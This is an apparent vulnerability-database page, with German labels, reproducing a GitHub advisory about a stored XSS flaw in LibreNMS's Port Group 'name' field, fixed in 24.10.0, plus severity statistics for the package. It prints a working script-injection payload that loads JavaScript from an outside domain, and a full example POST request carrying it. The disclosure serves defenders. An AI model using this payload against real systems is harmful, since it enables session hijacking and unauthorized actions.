LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.
Details
When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter:
<script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69
PoC
- Create a new Port Group using the following payload in the "name" parameter:
name<script/src=//15.rs></script> - Add the Port Group to a device's port settings.
- Reload the "Port Settings" page.
- Observe that the injected script executes.
Example Request:
POST /port-groups HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
Betroffene Software
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| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | librenms/librenms | < 24.10.0 | 24.10.0 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L- Schwäche (CWE)
CWE-79- Plattform
- Composer
- Paket
librenms/librenms- Veröffentlicht
- 15.11.2024
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-xh4g-c9p6-5jxg - CC BY 4.0
Schwachstellenhistorie: librenms/librenms
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- Einträge insgesamt
- 106
- Erste → letzte
- 10.2019 08.2026
- Ohne Fix
- 6
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 5
- Hoch 39
- Mittel 56
- Niedrig 6
Veröffentlichungen pro Jahr
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
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LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php dieser Eintrag
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